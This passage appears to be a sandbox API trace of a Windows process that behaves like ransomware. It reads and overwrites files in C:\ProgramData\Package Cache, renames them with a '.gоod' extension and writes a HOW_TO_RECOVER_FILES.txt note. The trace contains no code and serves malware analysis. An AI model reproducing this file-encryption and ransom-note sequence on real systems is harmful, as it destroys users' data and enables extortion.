cAlternateFileName="VCREDI~1.EXE")) returned 0 [0093.241] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0093.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0093.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0093.242] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", lpFilePart=0x0) returned 0x4d [0093.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0093.242] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), fInfoLevelId=0x0, lpFileInformation=0x35497c8 | out: lpFileInformation=0x35497c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x359ea6b6, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272)) returned 1 [0093.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0093.242] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", lpFilePart=0x0) returned 0x4d [0093.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0093.242] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0093.242] GetFileType (hFile=0x7ac) returned 0x1 [0093.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0093.242] GetFileType (hFile=0x7ac) returned 0x1 [0093.242] GetFileSize (in: hFile=0x7ac, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x272 [0093.242] ReadFile (in: hFile=0x7ac, lpBuffer=0x3549cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3549cf8*, lpNumberOfBytesRead=0x1f59dd38*=0x272, lpOverlapped=0x0) returned 1 [0093.244] CloseHandle (hObject=0x7ac) returned 1 [0093.987] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", lpFilePart=0x0) returned 0x4d [0093.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0093.987] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0094.139] GetFileType (hFile=0x7b0) returned 0x1 [0094.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0094.139] GetFileType (hFile=0x7b0) returned 0x1 [0094.140] WriteFile (in: hFile=0x7b0, lpBuffer=0x35a6320*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x35a6320*, lpNumberOfBytesWritten=0x1f59dc48*=0x280, lpOverlapped=0x0) returned 1 [0094.140] CloseHandle (hObject=0x7b0) returned 1 [0094.141] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", lpFilePart=0x0) returned 0x4d [0094.141] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.gоod", lpFilePart=0x0) returned 0x52 [0094.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0094.141] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3452e3af, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280)) returned 1 [0094.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0094.141] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.gоod" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.gоod")) returned 1 [0094.151] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", lpFilePart=0x0) returned 0x54 [0094.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0094.151] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), fInfoLevelId=0x0, lpFileInformation=0x35c8a20 | out: lpFileInformation=0x35c8a20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd0a02b30, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f398)) returned 1 [0094.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0094.151] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", lpFilePart=0x0) returned 0x54 [0094.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0094.151] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0094.151] GetFileType (hFile=0x7b0) returned 0x1 [0094.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0094.151] GetFileType (hFile=0x7b0) returned 0x1 [0094.151] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0094.152] ReadFile (in: hFile=0x7b0, lpBuffer=0x35c8e88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x35c8e88*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0094.157] CloseHandle (hObject=0x7b0) returned 1 [0094.157] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", lpFilePart=0x0) returned 0x54 [0094.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0094.157] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0094.157] GetFileType (hFile=0x7b0) returned 0x1 [0094.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0094.157] GetFileType (hFile=0x7b0) returned 0x1 [0094.157] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x6f398 [0094.157] WriteFile (in: hFile=0x7b0, lpBuffer=0x35d86f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x35d86f0*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0094.166] CloseHandle (hObject=0x7b0) returned 1 [0094.166] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", lpFilePart=0x0) returned 0x54 [0094.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0094.166] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0094.167] GetFileType (hFile=0x7b0) returned 0x1 [0094.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0094.167] GetFileType (hFile=0x7b0) returned 0x1 [0094.167] ReadFile (in: hFile=0x7b0, lpBuffer=0x35dd308, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x35dd308*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0096.448] CloseHandle (hObject=0x7b0) returned 1 [0096.448] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", lpFilePart=0x0) returned 0x54 [0096.448] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0096.448] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0096.449] GetFileType (hFile=0x7b0) returned 0x1 [0096.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0096.449] GetFileType (hFile=0x7b0) returned 0x1 [0096.449] WriteFile (in: hFile=0x7b0, lpBuffer=0x3441808*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3441808*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0096.449] CloseHandle (hObject=0x7b0) returned 1 [0096.449] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe", lpFilePart=0x0) returned 0x54 [0096.449] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.gоod", lpFilePart=0x0) returned 0x59 [0096.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0096.449] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd0a28d82, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x35b3bf75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6f3a8)) returned 1 [0096.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0096.449] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.gоod" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.gоod")) returned 1 [0096.450] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0096.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0096.450] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b0 [0096.452] GetFileType (hFile=0x7b0) returned 0x1 [0096.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0096.452] GetFileType (hFile=0x7b0) returned 0x1 [0096.452] WriteFile (in: hFile=0x7b0, lpBuffer=0x36c47f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x36c47f0*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0096.453] CloseHandle (hObject=0x7b0) returned 1 [0096.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0096.454] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpFilePart=0x0) returned 0x4e [0096.454] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83c50 [0096.454] FindNextFileW (in: hFindFile=0x1ec83c50, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.454] FindNextFileW (in: hFindFile=0x1ec83c50, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0096.454] FindNextFileW (in: hFindFile=0x1ec83c50, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0096.454] FindClose (in: hFindFile=0x1ec83c50 | out: hFindFile=0x1ec83c50) returned 1 [0096.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0096.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0096.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0096.455] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpFilePart=0x0) returned 0x4e [0096.455] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83470 [0096.455] FindNextFileW (in: hFindFile=0x1ec83470, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.455] FindNextFileW (in: hFindFile=0x1ec83470, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0096.455] FindNextFileW (in: hFindFile=0x1ec83470, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.455] FindClose (in: hFindFile=0x1ec83470 | out: hFindFile=0x1ec83470) returned 1 [0096.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0096.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0096.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0096.456] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0096.456] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83590 [0096.456] FindNextFileW (in: hFindFile=0x1ec83590, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.456] FindNextFileW (in: hFindFile=0x1ec83590, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0096.456] FindNextFileW (in: hFindFile=0x1ec83590, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0096.457] FindClose (in: hFindFile=0x1ec83590 | out: hFindFile=0x1ec83590) returned 1 [0096.457] SetThreadErrorMode 